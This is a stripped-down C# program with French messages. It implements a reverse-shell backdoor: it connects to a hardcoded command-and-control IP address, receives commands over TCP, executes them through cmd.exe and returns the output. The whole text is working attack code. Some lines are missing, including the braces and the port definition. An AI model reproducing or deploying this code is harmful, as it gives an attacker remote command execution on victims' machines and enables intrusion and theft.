using System.Diagnostics;
using System.Net.Sockets;
string serverIP = "192.168.1.196";
using (TcpClient client = new TcpClient(serverIP, serverPort))
using (NetworkStream stream = client.GetStream())
Console.WriteLine("Connecté au C2.");
byte[] buffer = new byte[4096];
int bytesRead = stream.Read(buffer, 0, buffer.Length);
string command = Encoding.UTF8.GetString(buffer, 0, bytesRead).Trim();
if (command.ToLower() == "exit")
string output = ExecuteCommand(command);
byte[] response = Encoding.UTF8.GetBytes(output);
stream.Write(response, 0, response.Length);
Console.WriteLine("Erreur : " + ex.Message);
static string ExecuteCommand(string command)
ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c " + command)
RedirectStandardOutput = true,
RedirectStandardError = true,
using (Process process = Process.Start(psi))
string output = process.StandardOutput.ReadToEnd();
string error = process.StandardError.ReadToEnd();
return string.IsNullOrWhiteSpace(output) ? error : output;
return "Erreur d'exécution : " + ex.Message;